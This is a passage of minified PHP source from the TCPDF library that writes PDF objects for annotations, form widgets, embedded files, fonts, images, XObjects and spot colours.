{$annots.=$pl['opt']['ap'];}$annots.=' >>';}if(isset($pl['opt']['bs']) AND (is_array($pl['opt']['bs']))){$annots.=' /BS <<';$annots.=' /Type /Border';if(isset($pl['opt']['bs']['w'])){$annots.=' /W '.intval($pl['opt']['bs']['w']);}$bstyles=array('S','D','B','I','U');if(isset($pl['opt']['bs']['s']) AND in_array($pl['opt']['bs']['s'],$bstyles)){$annots.=' /S /'.$pl['opt']['bs']['s'];}if(isset($pl['opt']['bs']['d']) AND (is_array($pl['opt']['bs']['d']))){$annots.=' /D [';foreach($pl['opt']['bs']['d'] as $cord){$annots.=' '.intval($cord);}$annots.=']';}$annots.=' >>';}else {$annots.=' /Border [';if(isset($pl['opt']['border']) AND (count($pl['opt']['border'])>=3)){$annots.=intval($pl['opt']['border'][0]).' ';$annots.=intval($pl['opt']['border'][1]).' ';$annots.=intval($pl['opt']['border'][2]);if(isset($pl['opt']['border'][3]) AND is_array($pl['opt']['border'][3])){$annots.=' [';foreach($pl['opt']['border'][3] as $dash){$annots.=intval($dash).' ';}$annots.=']';}}else {$annots.='0 0 0';}$annots.=']';}if(isset($pl['opt']['be']) AND (is_array($pl['opt']['be']))){$annots.=' /BE <<';$bstyles=array('S','C');if(isset($pl['opt']['be']['s']) AND in_array($pl['opt']['be']['s'],$bstyles)){$annots.=' /S /'.$pl['opt']['bs']['s'];}else {$annots.=' /S /S';}if(isset($pl['opt']['be']['i']) AND ($pl['opt']['be']['i']>=0) AND ($pl['opt']['be']['i']<=2)){$annots.=' /I '.sprintf(' %F',$pl['opt']['be']['i']);}$annots.='>>';}if(isset($pl['opt']['c']) AND (is_array($pl['opt']['c'])) AND !empty($pl['opt']['c'])){$annots.=' /C '.TCPDF_COLORS::getColorStringFromArray($pl['opt']['c']);}$markups=array('text','freetext','line','square','circle','polygon','polyline','highlight','underline','squiggly','strikeout','stamp','caret','ink','fileattachment','sound');if(in_array(strtolower($pl['opt']['subtype']),$markups)){if(isset($pl['opt']['t']) AND is_string($pl['opt']['t'])){$annots.=' /T '.$this->_textstring($pl['opt']['t'],$annot_obj_id);}if(isset($pl['opt']['ca'])){$annots.=' /CA '.sprintf('%F',floatval($pl['opt']['ca']));}if(isset($pl['opt']['rc'])){$annots.=' /RC '.$this->_textstring($pl['opt']['rc'],$annot_obj_id);}$annots.=' /CreationDate '.$this->_datestring($annot_obj_id,$this->doc_creation_timestamp);if(isset($pl['opt']['subj'])){$annots.=' /Subj '.$this->_textstring($pl['opt']['subj'],$annot_obj_id);}}$lineendings=array('Square','Circle','Diamond','OpenArrow','ClosedArrow','None','Butt','ROpenArrow','RClosedArrow','Slash');switch(strtolower($pl['opt']['subtype'])){case 'text':{if(isset($pl['opt']['open'])){$annots.=' /Open '.(strtolower($pl['opt']['open'])=='true'?'true':'false');}$iconsapp=array('Comment','Help','Insert','Key','NewParagraph','Note','Paragraph');if(isset($pl['opt']['name']) AND in_array($pl['opt']['name'],$iconsapp)){$annots.=' /Name /'.$pl['opt']['name'];}else {$annots.=' /Name /Note';}$statemodels=array('Marked','Review');if(isset($pl['opt']['statemodel']) AND in_array($pl['opt']['statemodel'],$statemodels)){$annots.=' /StateModel /'.$pl['opt']['statemodel'];}else {$pl['opt']['statemodel']='Marked';$annots.=' /StateModel /'.$pl['opt']['statemodel'];}if($pl['opt']['statemodel']=='Marked'){$states=array('Accepted','Unmarked');}else {$states=array('Accepted','Rejected','Cancelled','Completed','None');}if(isset($pl['opt']['state']) AND in_array($pl['opt']['state'],$states)){$annots.=' /State /'.$pl['opt']['state'];}else {if($pl['opt']['statemodel']=='Marked'){$annots.=' /State /Unmarked';}else {$annots.=' /State /None';}}break;}case 'link':{if(is_string($pl['txt'])){if($pl['txt'][0]=='#'){$annots.=' /Dest /'.TCPDF_STATIC::encodeNameObject(substr($pl['txt'],1));}elseif($pl['txt'][0]=='%'){$filename=basename(substr($pl['txt'],1));$annots.=' /A << /S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P '.($n-1).' /A '.$this->embeddedfiles[$filename]['a'].' >> >>';}elseif($pl['txt'][0]=='*'){$filename=basename(substr($pl['txt'],1));$jsa='var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="'.$filename.'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});';$annots.=' /A << /S /JavaScript /JS '.$this->_textstring($jsa,$annot_obj_id).'>>';}else {$parsedUrl=parse_url($pl['txt']);if(empty($parsedUrl['scheme']) AND (strtolower(substr($parsedUrl['path'],-4))=='.pdf')){$dest='[0 /Fit]';if(!empty($parsedUrl['fragment'])){$tmp=explode('=',$parsedUrl['fragment']);$dest='('.((count($tmp)==2)?$tmp[1]:$tmp[0]).')';}$annots.=' /A <</S /GoToR /D '.$dest.' /F '.$this->_datastring($this->unhtmlentities($parsedUrl['path']),$annot_obj_id).' /NewWindow true>>';}else {$annots.=' /A <</S /URI /URI '.$this->_datastring($this->unhtmlentities($pl['txt']),$annot_obj_id).'>>';}}}elseif(isset($this->links[$pl['txt']])){$l=$this->links[$pl['txt']];if(isset($this->page_obj_id[($l['p'])])){$annots.=sprintf(' /Dest [%u 0 R /XYZ 0 %F null]',$this->page_obj_id[($l['p'])],($this->pagedim[$l['p']]['h']-($l['y']*$this->k)));}}$hmodes=array('N','I','O','P');if(isset($pl['opt']['h']) AND in_array($pl['opt']['h'],$hmodes)){$annots.=' /H /'.$pl['opt']['h'];}else {$annots.=' /H /I';}break;}case 'freetext':{if(isset($pl['opt']['da']) AND !empty($pl['opt']['da'])){$annots.=' /DA ('.$pl['opt']['da'].')';}if(isset($pl['opt']['q']) AND ($pl['opt']['q']>=0) AND ($pl['opt']['q']<=2)){$annots.=' /Q '.intval($pl['opt']['q']);}if(isset($pl['opt']['rc'])){$annots.=' /RC '.$this->_textstring($pl['opt']['rc'],$annot_obj_id);}if(isset($pl['opt']['ds'])){$annots.=' /DS '.$this->_textstring($pl['opt']['ds'],$annot_obj_id);}if(isset($pl['opt']['cl']) AND is_array($pl['opt']['cl'])){$annots.=' /CL [';foreach($pl['opt']['cl'] as $cl){$annots.=sprintf('%F ',$cl*$this->k);}$annots.=']';}$tfit=array('FreeText','FreeTextCallout','FreeTextTypeWriter');if(isset($pl['opt']['it']) AND in_array($pl['opt']['it'],$tfit)){$annots.=' /IT /'.$pl['opt']['it'];}if(isset($pl['opt']['rd']) AND is_array($pl['opt']['rd'])){$l=$pl['opt']['rd'][0]*$this->k;$r=$pl['opt']['rd'][1]*$this->k;$t=$pl['opt']['rd'][2]*$this->k;$b=$pl['opt']['rd'][3]*$this->k;$annots.=' /RD ['.sprintf('%F %F %F %F',$l,$r,$t,$b).']';}if(isset($pl['opt']['le']) AND in_array($pl['opt']['le'],$lineendings)){$annots.=' /LE /'.$pl['opt']['le'];}break;}case 'line':{break;}case 'square':{break;}case 'circle':{break;}case 'polygon':{break;}case 'polyline':{break;}case 'highlight':{break;}case 'underline':{break;}case 'squiggly':{break;}case 'strikeout':{break;}case 'stamp':{break;}case 'caret':{break;}case 'ink':{break;}case 'popup':{break;}case 'fileattachment':{if($this->pdfa_mode){break;}if(!isset($pl['opt']['fs'])){break;}$filename=basename($pl['opt']['fs']);if(isset($this->embeddedfiles[$filename]['f'])){$annots.=' /FS '.$this->embeddedfiles[$filename]['f'].' 0 R';$iconsapp=array('Graph','Paperclip','PushPin','Tag');if(isset($pl['opt']['name']) AND in_array($pl['opt']['name'],$iconsapp)){$annots.=' /Name /'.$pl['opt']['name'];}else {$annots.=' /Name /PushPin';}$this->embeddedfiles[$filename]['a']=$key;}break;}case 'sound':{if(!isset($pl['opt']['fs'])){break;}$filename=basename($pl['opt']['fs']);if(isset($this->embeddedfiles[$filename]['f'])){$annots.=' /Sound '.$this->embeddedfiles[$filename]['f'].' 0 R';$iconsapp=array('Speaker','Mic');if(isset($pl['opt']['name']) AND in_array($pl['opt']['name'],$iconsapp)){$annots.=' /Name /'.$pl['opt']['name'];}else {$annots.=' /Name /Speaker';}}break;}case 'movie':{break;}case 'widget':{$hmode=array('N','I','O','P','T');if(isset($pl['opt']['h']) AND in_array($pl['opt']['h'],$hmode)){$annots.=' /H /'.$pl['opt']['h'];}if(isset($pl['opt']['mk']) AND (is_array($pl['opt']['mk'])) AND !empty($pl['opt']['mk'])){$annots.=' /MK <<';if(isset($pl['opt']['mk']['r'])){$annots.=' /R '.$pl['opt']['mk']['r'];}if(isset($pl['opt']['mk']['bc']) AND (is_array($pl['opt']['mk']['bc']))){$annots.=' /BC '.TCPDF_COLORS::getColorStringFromArray($pl['opt']['mk']['bc']);}if(isset($pl['opt']['mk']['bg']) AND (is_array($pl['opt']['mk']['bg']))){$annots.=' /BG '.TCPDF_COLORS::getColorStringFromArray($pl['opt']['mk']['bg']);}if(isset($pl['opt']['mk']['ca'])){$annots.=' /CA '.$pl['opt']['mk']['ca'];}if(isset($pl['opt']['mk']['rc'])){$annots.=' /RC '.$pl['opt']['mk']['rc'];}if(isset($pl['opt']['mk']['ac'])){$annots.=' /AC '.$pl['opt']['mk']['ac'];}if(isset($pl['opt']['mk']['i'])){$info=$this->getImageBuffer($pl['opt']['mk']['i']);if($info!==false){$annots.=' /I '.$info['n'].' 0 R';}}if(isset($pl['opt']['mk']['ri'])){$info=$this->getImageBuffer($pl['opt']['mk']['ri']);if($info!==false){$annots.=' /RI '.$info['n'].' 0 R';}}if(isset($pl['opt']['mk']['ix'])){$info=$this->getImageBuffer($pl['opt']['mk']['ix']);if($info!==false){$annots.=' /IX '.$info['n'].' 0 R';}}if(isset($pl['opt']['mk']['if']) AND (is_array($pl['opt']['mk']['if'])) AND !empty($pl['opt']['mk']['if'])){$annots.=' /IF <<';$if_sw=array('A','B','S','N');if(isset($pl['opt']['mk']['if']['sw']) AND in_array($pl['opt']['mk']['if']['sw'],$if_sw)){$annots.=' /SW /'.$pl['opt']['mk']['if']['sw'];}$if_s=array('A','P');if(isset($pl['opt']['mk']['if']['s']) AND in_array($pl['opt']['mk']['if']['s'],$if_s)){$annots.=' /S /'.$pl['opt']['mk']['if']['s'];}if(isset($pl['opt']['mk']['if']['a']) AND (is_array($pl['opt']['mk']['if']['a'])) AND !empty($pl['opt']['mk']['if']['a'])){$annots.=sprintf(' /A [%F %F]',$pl['opt']['mk']['if']['a'][0],$pl['opt']['mk']['if']['a'][1]);}if(isset($pl['opt']['mk']['if']['fb']) AND ($pl['opt']['mk']['if']['fb'])){$annots.=' /FB true';}$annots.='>>';}if(isset($pl['opt']['mk']['tp']) AND ($pl['opt']['mk']['tp']>=0) AND ($pl['opt']['mk']['tp']<=6)){$annots.=' /TP '.intval($pl['opt']['mk']['tp']);}$annots.='>>';}if(isset($this->radiobutton_groups[$n][$pl['txt']])){$annots.=' /Parent '.$this->radiobutton_groups[$n][$pl['txt']].' 0 R';}if(isset($pl['opt']['t']) AND is_string($pl['opt']['t'])){$annots.=' /T '.$this->_datastring($pl['opt']['t'],$annot_obj_id);}if(isset($pl['opt']['tu']) AND is_string($pl['opt']['tu'])){$annots.=' /TU '.$this->_datastring($pl['opt']['tu'],$annot_obj_id);}if(isset($pl['opt']['tm']) AND is_string($pl['opt']['tm'])){$annots.=' /TM '.$this->_datastring($pl['opt']['tm'],$annot_obj_id);}if(isset($pl['opt']['ff'])){if(is_array($pl['opt']['ff'])){$flag=0;foreach($pl['opt']['ff'] as $val){$flag+=1<<($val-1);}}else {$flag=intval($pl['opt']['ff']);}$annots.=' /Ff '.$flag;}if(isset($pl['opt']['maxlen'])){$annots.=' /MaxLen '.intval($pl['opt']['maxlen']);}if(isset($pl['opt']['v'])){$annots.=' /V';if(is_array($pl['opt']['v'])){foreach($pl['opt']['v'] AS $optval){if(is_float($optval)){$optval=sprintf('%F',$optval);}$annots.=' '.$optval;}}else {$annots.=' '.$this->_textstring($pl['opt']['v'],$annot_obj_id);}}if(isset($pl['opt']['dv'])){$annots.=' /DV';if(is_array($pl['opt']['dv'])){foreach($pl['opt']['dv'] AS $optval){if(is_float($optval)){$optval=sprintf('%F',$optval);}$annots.=' '.$optval;}}else {$annots.=' '.$this->_textstring($pl['opt']['dv'],$annot_obj_id);}}if(isset($pl['opt']['rv'])){$annots.=' /RV';if(is_array($pl['opt']['rv'])){foreach($pl['opt']['rv'] AS $optval){if(is_float($optval)){$optval=sprintf('%F',$optval);}$annots.=' '.$optval;}}else {$annots.=' '.$this->_textstring($pl['opt']['rv'],$annot_obj_id);}}if(isset($pl['opt']['a']) AND !empty($pl['opt']['a'])){$annots.=' /A << '.$pl['opt']['a'].' >>';}if(isset($pl['opt']['aa']) AND !empty($pl['opt']['aa'])){$annots.=' /AA << '.$pl['opt']['aa'].' >>';}if(isset($pl['opt']['da']) AND !empty($pl['opt']['da'])){$annots.=' /DA ('.$pl['opt']['da'].')';}if(isset($pl['opt']['q']) AND ($pl['opt']['q']>=0) AND ($pl['opt']['q']<=2)){$annots.=' /Q '.intval($pl['opt']['q']);}if(isset($pl['opt']['opt']) AND (is_array($pl['opt']['opt'])) AND !empty($pl['opt']['opt'])){$annots.=' /Opt [';foreach($pl['opt']['opt'] AS $copt){if(is_array($copt)){$annots.=' ['.$this->_textstring($copt[0],$annot_obj_id).' '.$this->_textstring($copt[1],$annot_obj_id).']';}else {$annots.=' '.$this->_textstring($copt,$annot_obj_id);}}$annots.=']';}if(isset($pl['opt']['ti'])){$annots.=' /TI '.intval($pl['opt']['ti']);}if(isset($pl['opt']['i']) AND (is_array($pl['opt']['i'])) AND !empty($pl['opt']['i'])){$annots.=' /I [';foreach($pl['opt']['i'] AS $copt){$annots.=intval($copt).' ';}$annots.=']';}break;}case 'screen':{break;}case 'printermark':{break;}case 'trapnet':{break;}case 'watermark':{break;}case '3d':{break;}default:{break;}}$annots.='>>';$this->_out($this->_getobj($annot_obj_id)."
".$annots."
".'endobj');if($formfield AND !isset($this->radiobutton_groups[$n][$pl['txt']])){$this->form_obj_id[]=$annot_obj_id;}}}}} function _putAPXObject($w=0,$h=0,$stream=''){$stream=trim($stream);$out=$this->_getobj()."
";$this->xobjects['AX'.$this->n]=array('n'=>$this->n);$out.='<<';$out.=' /Type /XObject';$out.=' /Subtype /Form';$out.=' /FormType 1';if($this->compress){$stream=gzcompress($stream);$out.=' /Filter /FlateDecode';}$rect=sprintf('%F %F',$w,$h);$out.=' /BBox [0 0 '.$rect.']';$out.=' /Matrix [1 0 0 1 0 0]';$out.=' /Resources 2 0 R';$stream=$this->_getrawstream($stream);$out.=' /Length '.strlen($stream);$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);return $this->n;} function _putfonts(){$nf=$this->n;foreach($this->diffs as $diff){$this->_newobj();$this->_out('<< /Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.'] >>'."
".'endobj');}$mqr=TCPDF_STATIC::get_mqr();TCPDF_STATIC::set_mqr(false);foreach($this->FontFiles as $file=>$info){$fontfile=TCPDF_FONTS::getFontFullPath($file,$info['fontdir']);if(!TCPDF_STATIC::empty_string($fontfile)){$font=file_get_contents($fontfile);$compressed=(substr($file,-2)=='.z');if((!$compressed) AND (isset($info['length2']))){$header=(ord($font[0])==128);if($header){$font=substr($font,6);}if($header AND (ord($font[$info['length1']])==128)){$font=substr($font,0,$info['length1']).substr($font,($info['length1']+6));}}elseif($info['subset'] AND ((!$compressed) OR ($compressed AND function_exists('gzcompress')))){if($compressed){$font=gzuncompress($font);}$subsetchars=array();foreach($info['fontkeys'] as $fontkey){$fontinfo=$this->getFontBuffer($fontkey);$subsetchars+=$fontinfo['subsetchars'];}$font=TCPDF_FONTS::_getTrueTypeFontSubset($font,$subsetchars);$info['length1']=strlen($font);if($compressed){$font=gzcompress($font);}}$this->_newobj();$this->FontFiles[$file]['n']=$this->n;$stream=$this->_getrawstream($font);$out='<< /Length '.strlen($stream);if($compressed){$out.=' /Filter /FlateDecode';}$out.=' /Length1 '.$info['length1'];if(isset($info['length2'])){$out.=' /Length2 '.$info['length2'].' /Length3 0';}$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}}TCPDF_STATIC::set_mqr($mqr);foreach($this->fontkeys as $k){$font=$this->getFontBuffer($k);$type=$font['type'];$name=$font['name'];if($type=='core'){$out=$this->_getobj($this->font_obj_ids[$k])."
";$out.='<</Type /Font';$out.=' /Subtype /Type1';$out.=' /BaseFont /'.$name;$out.=' /Name /F'.$font['i'];if((strtolower($name)!='symbol') AND (strtolower($name)!='zapfdingbats')){$out.=' /Encoding /WinAnsiEncoding';}if($k=='helvetica'){$this->annotation_fonts[$k]=$font['i'];}$out.=' >>';$out.="
".'endobj';$this->_out($out);}elseif(($type=='Type1') OR ($type=='TrueType')){$out=$this->_getobj($this->font_obj_ids[$k])."
";$out.='<</Type /Font';$out.=' /Subtype /'.$type;$out.=' /BaseFont /'.$name;$out.=' /Name /F'.$font['i'];$out.=' /FirstChar 32 /LastChar 255';$out.=' /Widths '.($this->n+1).' 0 R';$out.=' /FontDescriptor '.($this->n+2).' 0 R';if($font['enc']){if(isset($font['diff'])){$out.=' /Encoding '.($nf+$font['diff']).' 0 R';}else {$out.=' /Encoding /WinAnsiEncoding';}}$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_newobj();$s='[';for($i=32;$i<256;++$i){if(isset($font['cw'][$i])){$s.=$font['cw'][$i].' ';}else {$s.=$font['dw'].' ';}}$s.=']';$s.="
".'endobj';$this->_out($s);$this->_newobj();$s='<</Type /FontDescriptor /FontName /'.$name;foreach($font['desc'] as $fdk=>$fdv){if(is_float($fdv)){$fdv=sprintf('%F',$fdv);}$s.=' /'.$fdk.' '.$fdv.'';}if(!TCPDF_STATIC::empty_string($font['file'])){$s.=' /FontFile'.($type=='Type1'?'':'2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';}$s.='>>';$s.="
".'endobj';$this->_out($s);}else {$mtd='_put'.strtolower($type);if(!method_exists($this,$mtd)){$this->Error('Unsupported font type: '.$type);}$this->$mtd($font);}}} function _puttruetypeunicode($font){$fontname='';if($font['subset']){$subtag=sprintf('%06u',$font['i']);$subtag=strtr($subtag,'0123456789','ABCDEFGHIJ');$fontname.=$subtag.'+';}$fontname.=$font['name'];$out=$this->_getobj($this->font_obj_ids[$font['fontkey']])."
";$out.='<< /Type /Font';$out.=' /Subtype /Type0';$out.=' /BaseFont /'.$fontname;$out.=' /Name /F'.$font['i'];$out.=' /Encoding /'.$font['enc'];$out.=' /ToUnicode '.($this->n+1).' 0 R';$out.=' /DescendantFonts ['.($this->n+2).' 0 R]';$out.=' >>';$out.="
".'endobj';$this->_out($out);$stream=TCPDF_FONT_DATA::$uni_identity_h;$this->_newobj();$stream=($this->compress)?gzcompress($stream):$stream;$filter=($this->compress)?'/Filter /FlateDecode ':'';$stream=$this->_getrawstream($stream);$this->_out('<<'.$filter.'/Length '.strlen($stream).'>> stream'."
".$stream."
".'endstream'."
".'endobj');$oid=$this->_newobj();$out='<< /Type /Font';$out.=' /Subtype /CIDFontType2';$out.=' /BaseFont /'.$fontname;$cidinfo='/Registry '.$this->_datastring($font['cidinfo']['Registry'],$oid);$cidinfo.=' /Ordering '.$this->_datastring($font['cidinfo']['Ordering'],$oid);$cidinfo.=' /Supplement '.$font['cidinfo']['Supplement'];$out.=' /CIDSystemInfo << '.$cidinfo.' >>';$out.=' /FontDescriptor '.($this->n+1).' 0 R';$out.=' /DW '.$font['dw'];$out.="
".TCPDF_FONTS::_putfontwidths($font,0);if(isset($font['ctg']) AND (!TCPDF_STATIC::empty_string($font['ctg']))){$out.="
".'/CIDToGIDMap '.($this->n+2).' 0 R';}$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_newobj();$out='<< /Type /FontDescriptor';$out.=' /FontName /'.$fontname;foreach($font['desc'] as $key=>$value){if(is_float($value)){$value=sprintf('%F',$value);}$out.=' /'.$key.' '.$value;}$fontdir=false;if(!TCPDF_STATIC::empty_string($font['file'])){$out.=' /FontFile2 '.$this->FontFiles[$font['file']]['n'].' 0 R';$fontdir=$this->FontFiles[$font['file']]['fontdir'];}$out.=' >>';$out.="
".'endobj';$this->_out($out);if(isset($font['ctg']) AND (!TCPDF_STATIC::empty_string($font['ctg']))){$this->_newobj();$ctgfile=strtolower($font['ctg']);$fontfile=TCPDF_FONTS::getFontFullPath($ctgfile,$fontdir);if(TCPDF_STATIC::empty_string($fontfile)){$this->Error('Font file not found: '.$ctgfile);}$stream=$this->_getrawstream(file_get_contents($fontfile));$out='<< /Length '.strlen($stream).'';if(substr($fontfile,-2)=='.z'){$out.=' /Filter /FlateDecode';}$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}} function _putcidfont0($font){$cidoffset=0;if(!isset($font['cw'][1])){$cidoffset=31;}if(isset($font['cidinfo']['uni2cid'])){$uni2cid=$font['cidinfo']['uni2cid'];$cw=array();foreach($font['cw'] as $uni=>$width){if(isset($uni2cid[$uni])){$cw[($uni2cid[$uni]+$cidoffset)]=$width;}elseif($uni<256){$cw[$uni]=$width;}}$font=array_merge($font,array('cw'=>$cw));}$name=$font['name'];$enc=$font['enc'];if($enc){$longname=$name.'-'.$enc;}else {$longname=$name;}$out=$this->_getobj($this->font_obj_ids[$font['fontkey']])."
";$out.='<</Type /Font';$out.=' /Subtype /Type0';$out.=' /BaseFont /'.$longname;$out.=' /Name /F'.$font['i'];if($enc){$out.=' /Encoding /'.$enc;}$out.=' /DescendantFonts ['.($this->n+1).' 0 R]';$out.=' >>';$out.="
".'endobj';$this->_out($out);$oid=$this->_newobj();$out='<</Type /Font';$out.=' /Subtype /CIDFontType0';$out.=' /BaseFont /'.$name;$cidinfo='/Registry '.$this->_datastring($font['cidinfo']['Registry'],$oid);$cidinfo.=' /Ordering '.$this->_datastring($font['cidinfo']['Ordering'],$oid);$cidinfo.=' /Supplement '.$font['cidinfo']['Supplement'];$out.=' /CIDSystemInfo <<'.$cidinfo.'>>';$out.=' /FontDescriptor '.($this->n+1).' 0 R';$out.=' /DW '.$font['dw'];$out.="
".TCPDF_FONTS::_putfontwidths($font,$cidoffset);$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_newobj();$s='<</Type /FontDescriptor /FontName /'.$name;foreach($font['desc'] as $k=>$v){if($k!='Style'){if(is_float($v)){$v=sprintf('%F',$v);}$s.=' /'.$k.' '.$v.'';}}$s.='>>';$s.="
".'endobj';$this->_out($s);} function _putimages(){$filter=($this->compress)?'/Filter /FlateDecode ':'';foreach($this->imagekeys as $file){$info=$this->getImageBuffer($file);if((!$this->pdfa_mode) AND isset($info['altimgs']) AND !empty($info['altimgs'])){$altoid=$this->_newobj();$out='[';foreach($info['altimgs'] as $altimage){if(isset($this->xobjects['I'.$altimage[0]]['n'])){$out.=' << /Image '.$this->xobjects['I'.$altimage[0]]['n'].' 0 R';$out.=' /DefaultForPrinting';if($altimage[1]===true){$out.=' true';}else {$out.=' false';}$out.=' >>';}}$out.=' ]';$out.="
".'endobj';$this->_out($out);}$oid=$this->_newobj();$this->xobjects['I'.$info['i']]=array('n'=>$oid);$this->setImageSubBuffer($file,'n',$this->n);$out='<</Type /XObject';$out.=' /Subtype /Image';$out.=' /Width '.$info['w'];$out.=' /Height '.$info['h'];if(array_key_exists('masked',$info)){$out.=' /SMask '.($this->n-1).' 0 R';}$icc=false;if(isset($info['icc']) AND ($info['icc']!==false)){$icc=true;$out.=' /ColorSpace [/ICCBased '.($this->n+1).' 0 R]';}elseif($info['cs']=='Indexed'){$out.=' /ColorSpace [/Indexed /DeviceRGB '.((strlen($info['pal'])/3)-1).' '.($this->n+1).' 0 R]';}else {$out.=' /ColorSpace /'.$info['cs'];}if($info['cs']=='DeviceCMYK'){$out.=' /Decode [1 0 1 0 1 0 1 0]';}$out.=' /BitsPerComponent '.$info['bpc'];if(isset($altoid) AND ($altoid>0)){$out.=' /Alternates '.$altoid.' 0 R';}if(isset($info['exurl']) AND !empty($info['exurl'])){$out.=' /Length 0';$out.=' /F << /FS /URL /F '.$this->_datastring($info['exurl'],$oid).' >>';if(isset($info['f'])){$out.=' /FFilter /'.$info['f'];}$out.=' >>';$out.=' stream'."
".'endstream';}else {if(isset($info['f'])){$out.=' /Filter /'.$info['f'];}if(isset($info['parms'])){$out.=' '.$info['parms'];}if(isset($info['trns']) AND is_array($info['trns'])){$trns='';$count_info=count($info['trns']);if($info['cs']=='Indexed'){$maxval=(pow(2,$info['bpc'])-1);for($i=0;$i<$count_info;++$i){if(($info['trns'][$i]!=0) AND ($info['trns'][$i]!=$maxval)){$trns='';break;}elseif(empty($trns) AND ($info['trns'][$i]==0)){$trns.=$i.' '.$i.' ';}}}else {for($i=0;$i<$count_info;++$i){if($info['trns'][$i]==0){$trns.=$info['trns'][$i].' '.$info['trns'][$i].' ';}}}if(!empty($trns)){$out.=' /Mask ['.$trns.']';}}$stream=$this->_getrawstream($info['data']);$out.=' /Length '.strlen($stream).' >>';$out.=' stream'."
".$stream."
".'endstream';}$out.="
".'endobj';$this->_out($out);if($icc){$this->_newobj();$icc=($this->compress)?gzcompress($info['icc']):$info['icc'];$icc=$this->_getrawstream($icc);$this->_out('<</N '.$info['ch'].' /Alternate /'.$info['cs'].' '.$filter.'/Length '.strlen($icc).'>> stream'."
".$icc."
".'endstream'."
".'endobj');}elseif($info['cs']=='Indexed'){$this->_newobj();$pal=($this->compress)?gzcompress($info['pal']):$info['pal'];$pal=$this->_getrawstream($pal);$this->_out('<<'.$filter.'/Length '.strlen($pal).'>> stream'."
".$pal."
".'endstream'."
".'endobj');}}} function _putxobjects(){foreach($this->xobjects as $key=>$data){if(isset($data['outdata'])){$stream=str_replace($this->epsmarker,'',trim($data['outdata']));$out=$this->_getobj($data['n'])."
";$out.='<<';$out.=' /Type /XObject';$out.=' /Subtype /Form';$out.=' /FormType 1';if($this->compress){$stream=gzcompress($stream);$out.=' /Filter /FlateDecode';}$out.=sprintf(' /BBox [%F %F %F %F]',($data['x']*$this->k),(-$data['y']*$this->k),(($data['w']+$data['x'])*$this->k),(($data['h']-$data['y'])*$this->k));$out.=' /Matrix [1 0 0 1 0 0]';$out.=' /Resources <<';$out.=' /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]';if(!$this->pdfa_mode){if(isset($data['extgstates']) AND !empty($data['extgstates'])){$out.=' /ExtGState <<';foreach($data['extgstates'] as $k=>$extgstate){if(isset($this->extgstates[$k]['name'])){$out.=' /'.$this->extgstates[$k]['name'];}else {$out.=' /GS'.$k;}$out.=' '.$this->extgstates[$k]['n'].' 0 R';}$out.=' >>';}if(isset($data['gradients']) AND !empty($data['gradients'])){$gp='';$gs='';foreach($data['gradients'] as $id=>$grad){$gp.=' /p'.$id.' '.$this->gradients[$id]['pattern'].' 0 R';$gs.=' /Sh'.$id.' '.$this->gradients[$id]['id'].' 0 R';}$out.=' /Pattern <<'.$gp.' >>';$out.=' /Shading <<'.$gs.' >>';}}if(isset($data['spot_colors']) AND !empty($data['spot_colors'])){$out.=' /ColorSpace <<';foreach($data['spot_colors'] as $name=>$color){$out.=' /CS'.$color['i'].' '.$this->spot_colors[$name]['n'].' 0 R';}$out.=' >>';}if(!empty($data['fonts'])){$out.=' /Font <<';foreach($data['fonts'] as $fontkey=>$fontid){$out.=' /F'.$fontid.' '.$this->font_obj_ids[$fontkey].' 0 R';}$out.=' >>';}if(!empty($data['images']) OR !empty($data['xobjects'])){$out.=' /XObject <<';foreach($data['images'] as $imgid){$out.=' /I'.$imgid.' '.$this->xobjects['I'.$imgid]['n'].' 0 R';}foreach($data['xobjects'] as $sub_id=>$sub_objid){$out.=' /'.$sub_id.' '.$sub_objid['n'].' 0 R';}$out.=' >>';}$out.=' >>';if(isset($data['group']) AND ($data['group']!==false)){$out.=' /Group << /Type /Group /S /Transparency';if(is_array($data['group'])){if(isset($data['group']['CS']) AND !empty($data['group']['CS'])){$out.=' /CS /'.$data['group']['CS'];}if(isset($data['group']['I'])){$out.=' /I /'.($data['group']['I']===true?'true':'false');}if(isset($data['group']['K'])){$out.=' /K /'.($data['group']['K']===true?'true':'false');}}$out.=' >>';}$stream=$this->_getrawstream($stream,$data['n']);$out.=' /Length '.strlen($stream);$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}}} function _putspotcolors(){foreach($this->spot_colors as $name=>$color){$this->_newobj();$this->spot_colors[$name]['n']=$this->n;$out='[/Separation /'.str_replace(' ','#20',$name);$out.=' /DeviceCMYK <<';$out.=' /Range [0 1 0 1 0 1 0 1] /C0 [0 0 0 0]';$out.=' '.sprintf('/C1 [%F %F %F %F] ',($color['C']/100),($color['M']/100),($color['Y']/100),($color['K']/100));$out.=' /FunctionType 2 /Domain [0 1] /N 1>>]';$out.="
".'endobj';$this->_out($out);}} function _getxobjectdict(){$out='';foreach($this->xobjects as $id=>$objid){$out.=' /'.$id.' '.$objid['n'].' 0 R';}return $out;} function _putresourcedict(){$out=$this->_getobj(2)."
